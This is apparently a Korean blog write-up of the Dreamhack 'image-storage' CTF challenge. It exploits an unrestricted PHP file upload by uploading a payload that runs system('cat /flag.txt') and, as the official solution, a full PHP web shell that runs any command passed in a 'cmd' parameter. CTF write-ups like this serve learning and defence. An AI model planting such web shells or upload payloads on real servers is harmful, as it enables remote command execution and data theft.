본문 바로가기

웹해킹

드림핵 image-storage 롸업

<문제>

php로 작성된 파일 저장 서비스입니다.

파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다.

 

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

upload 부분을 보면 파일에 대한 검사를 하지 않기 때문에 php 코드를 올릴 수 있다.

 

<?php
system('cat /flag.txt')
?>

이런 파일을 하나 만들어서 올리고, list 페이지로 가서 조회해보면

php 코드가 실행되면서 

flag가 뜬다.

 

드림핵에서 제시한 풀이는 웹 셸을 올리는 방법이다.

<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

이런 코드를 올리고 조회하면

이런 식으로 시스템 명령어를 실행해서 flag를 얻을 수 있다.

name="<?php echo basename($_SERVER['PHP_SELF']); ?>"

이 부분은 폼의 이름을 현재 실행중인 스크립트의 이름으로 설정한다.

그리고 php에서 $_GET['cmd']로 name이 cmd인 값을 찾아서 system 명령어로 실행을 시켜준다.

 

'웹해킹' 카테고리의 다른 글

ServerSide: SSRF  (0) 2023.11.05
드림핵 file-download-1 롸업  (0) 2023.11.05
ServerSide: File Vulnerability  (0) 2023.11.04
드림핵 command-injection-1 롸업  (0) 2023.11.04
ServerSide: Command Injection  (0) 2023.11.04